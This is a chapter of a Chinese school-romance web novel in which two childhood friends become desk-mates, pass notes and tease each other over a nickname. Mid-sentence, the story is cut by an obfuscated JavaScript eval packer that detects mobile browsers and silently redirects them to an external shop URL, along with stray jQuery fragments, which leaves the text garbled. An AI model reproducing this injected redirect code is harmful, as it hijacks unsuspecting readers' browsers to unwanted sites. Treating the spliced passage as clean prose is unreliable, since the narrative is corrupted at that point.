“难怪每次我迟到的那几日先生总是抽我背书,那他怎么不明说,我还以为自己的借口找的很好呢。”
“大概是没想到有人真的能把一个理由用十几次吧。”
挂在墙上的时钟一分一秒地转动,但是卫先生还没有来。
“今日先生怎的来得这么晚?”
话音刚落下,卫先生就进到了教室里面,他身后还跟着一个男生:“这是你们的新同窗傅如珩。”
没想到在短短两天的时间里面来了两个同学,傅如珩长得很快,比班上不少人要高了,虽然面无表情,但是架不住五官优秀,剑眉星目。哪怕身上衣着不显眼,也盖不住浑身的优越气质。
小孩总是会对长得好看的人心生好感,昨天盛秋阑上台的时候同样有很多人看着她,后来又因为她分糕点,更是直接俘获了一批小孩的芳心。傅如珩虽然远没有盛秋阑看起来那么好相处,但是光凭这张脸也有很多人愿意交往。
被众人关注的男生没有理睬其他人的目光,他在教室里面扫视了一圈,直接把眼神盯在了唯一空着的一个位置上面。
盛秋阑已经傻眼了,她没想到会在这里看见傅如珩,而自己竟然一无所知。
“你去位置上坐下吧。”
听到先生的话,傅如珩径直走到了盛秋阑旁边。
后者昨天自创的“霸王椅”还没有恢复原装,独自一人占了两个位置,现在另一个主人回来了,却因为力气太小没有办法把两个椅子分开。
盛秋阑废了九牛二虎之力,终于在两条椅子当中拉开了一道小的缝隙,勉强给傅如珩留出了一个完整的空位。
只是他们之间的距离相比起其他人还是太近了,傅如珩看见明显和其他人不同的座位,竟然也没有说什么,径直坐下来了。
盛秋阑微微睁大了眼睛,用气音说:“你怎么不把椅子移过去一点?”
她的姿势不方便,但是傅如珩可没有这个顾忌,怎么就这样坐下来了。
傅如珩好像并不觉得有什么不对,反问道:“你不是帮我移开了吗?”
他坐下来之后,两个人之间的距离几乎可以忽略不计,两只胳膊稍稍一动就能够碰到,但是盛秋阑和他相处惯了,除了感觉有些拥挤之外,就随他去了。
台上卫先生已经开始讲课,盛秋阑的注意力却全然没有放在内容上面。
她还是没想到傅如珩居然就这样成为了她的同桌,把书本挡在自己的面前,借着他们之间极近的距离,都不用特地凑过去,用只有两个人能够听到的声音问:“你怎么过来了,我都不知道。”
傅如珩分了她一个眼神,声音平淡,听不出情绪:“你不是也没告诉我吗?”
盛秋阑哑口无言,这件事确实是她先不对:“但是我昨天是想要去找你的,他们说你不在。”
她想到了傅如珩看见她时一点都不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100209|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊讶的样子:“你什么时候知道的,而且你爹这么久都没有让你来上学,怎么现在突然转变主意了?”
像盛秋阑这种半路插班的算少数,大多是在开学到时候才会送进来,所以其他人看见接连来了两个新同学才会惊讶。
傅如珩想到了昨天听到的对话,不想过多解释:“不清楚。”
后面的长孙胜早就有满筐子的问题想要问,但是看两个人聊得正欢,又没有打扰,抓耳挠腮地看着他们,终于等到对话告一段落,把纸团扔过去。
他出手偏了一点,纸团落在了傅如珩的右手边。
傅如珩看着落在手边的纸团,还没有来得及拿起来,就感觉到左手臂被人撞了一下,转头看见盛秋阑鬼鬼祟祟地向他勾手指。
傅如珩:?
他拿过纸团,看见盛秋阑肯定一般点点头,她正想要接过纸团,没想到傅如珩却猛地收回了手。
盛秋阑下意识抬头看了一眼卫先生,见他还在捧着书本,没有看见这边的动静,又推了推傅如珩。
“快给我。”
傅如珩看着纸团,不知道在想什么:“我能看吗?”
盛秋阑也不知道他在矫情个什么劲,他们一向是在一起的,怎么这时候还要假惺惺地询问她的意见:“那你看吧。”
傅如珩的眉头松了一点,当着盛秋阑的面打开了纸条,里面的内容明晃晃地展现在两个人面前:你们什么关系?
他这时候倒是听话地主动把纸条放在盛秋阑的手上,只是依旧没有认真听讲,明目张胆地看着盛秋阑回复。
“你不是都知道吗?”
长孙胜看着传回来的纸条,更加理不清思路了。
他当然知道傅如珩的身份,京城里面姓傅的人家屈指可数,但是说实话侯府的作风一向是他们家所看不惯的,更何况还有傅皓轩这个声名远扬的纨绔子弟在外,怎么想盛秋阑都扯不上关系。
他原先只听说侯府家有个不受宠的少爷,但是像这种子嗣多的人家,不受宠的庶子多了去了,哪能每个都知道名字。
而且听父亲说,最近侯府好像不是很安分。
傅鸿元做事一向谨慎,但是长孙家既然做的是运输生意,消息渠道自然也更多一些,那些小动作在风言风语中来到他们耳边,也就耳濡目染了一些。
长孙胜还想要说些什么,但是想到自己刚才看到的两个人不掩亲密的动作,还是暂时压下了心中的想法。
卫先生在台上讲了半天,终于喝了一口茶,留下了今日的功课:“回去把自己的名写十遍,明日收上来。”
真是怀念啊,已经很久没有见过如此朴实无华的作业了。
盛秋阑在心中吹了一个口哨,甚至都没有等到下课,随手就在本子上卸下来一串。
她先前学过毛笔字,所以写字对她来说不算难,唯一的不足就是现在手还没有这么大,所以控制不好力度,速度慢了很多。
她满意地把最后一个字收尾,转头去看傅如珩写的。
她还没有这样认真看过对方写字,傅如珩的毛笔字相比她更加潇洒一点,笔画相连处连贯,可以说是赏心悦目。
盛秋阑看着看着,突然起了一点心思:“你写错了。”
傅如珩刚刚蘸了蘸砚台中的墨水,正想要写最后一遍,头也不抬:“哪里错了?”
盛秋阑指着他名当中的最后一个字:“这应该是衍才对。”
长孙胜草草写完几张纸,听到他们的对话,奇怪道:“为什么?”
没等盛秋阑胡编乱造一些莫须有的故事,傅如珩点出实情:“她小时候说不了几个字,又想叫我名字。就只能喊叠词,但是因为口齿不清,所以说出来就像是小猪哼。”
盛秋阑没想到傅如珩这么不给他面子,居然就这样吧事实讲出来了。
因为珩的发音实在是太过相似,说到第二声的时候总是变成了轻声,听起来就像是“哼哼”。
被傅如珩无情点出来之后,盛秋阑就不肯再叫他,又觉得没有名字不礼貌,最后自顾自给他取了个别称。衍因为长得像珩字,而且朗朗上口很多,所以就选了这个名字。
只是自从盛秋阑能够开始清楚说话之后,她就很少再这么叫他了。
被爆出来黑历史,盛秋阑更是不肯放过他,在脑海中搜索傅如珩的黑历史,却沮丧地找不到反驳的地方。
傅如珩成熟的太早了,而且没有一般小孩子那样幼稚,一时之间都想不到对方难堪的样子,倒是自己有过不少丢人的时候都被他看见了。
“哎,你几岁尿床的?”盛秋阑不甘心,转头去问当事人讨教。
傅如珩被她吵的不行,拿出另一张纸,在上面写上“傅如衍”三个字,然后拍在她面前:“闭嘴。”
“哦!”盛秋阑拿到纸张,“这是专属于我的吗?”
“是,只有你能叫。”
那多不好意思,显得她有多特殊一样。
盛秋阑捧着这张纸,乐滋滋地和自己的东西放在一起。算了,这个就当以后带傅如珩去江南的路费了。
她这人,就是仁义!